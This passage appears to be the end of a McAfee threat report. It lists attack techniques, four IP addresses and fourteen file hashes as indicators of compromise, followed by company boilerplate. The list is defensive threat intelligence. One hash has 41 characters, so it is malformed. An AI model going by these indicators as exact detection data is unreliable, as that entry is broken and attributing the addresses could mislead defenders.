- Network share discovery
- Process discovery
- File and directory discovery
- Data from local system
- Data from removable media
- Data from network shared drive
- Exfiltration over control server channel

IP addresses
- 158.69.131.78
- 172.81.132.62
- 27.102.112.179
- 211.104.160.196

Hashes
- fc121db04067cffbed04d7403c1d222d376fa7ba
- 832d5e6ebd9808279ee3e59ba4b5b0e884b859a5
- be4fbb5a4b32db20a914cad5701f5c7ba51571b7
- 1f70715e86a2fccc1437926ecfaeadc53ddce41c9
- dd3fb2750da3e8fc889cd1611117b02d49cf17f7
- 583879caf735fa446be55fbcbcc9e580bf542c8c
- ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36
- d72bc671583801c3c65ac1a96bb75c6026e06a73
- e5c6229825f11d5a5749d3f2fe7acbe074cba77c
- 9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e
- 281a13ecb674de42f2e8fdaea5e6f46a5436c685
- 42192bb852d696d55da25b9178536de6365f0e68
- 12a9faa96ba1be8a73e73be72ef1072096d964fb
- 0ae167204c841bdfd3600dddf2c9c185b17ac6d4
About McAfee

McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies’ products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all.


About McAfee Labs and Advanced Threat Research

McAfee Labs, led by McAfee Advanced Threat Research, is one of the world’s leading sources for threat research, threat intelligence, and cybersecurity thought leadership. With data from millions of sensors across key threats vectors—file, web, message, and network—McAfee Labs and McAfee Advanced Threat Research deliver real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks.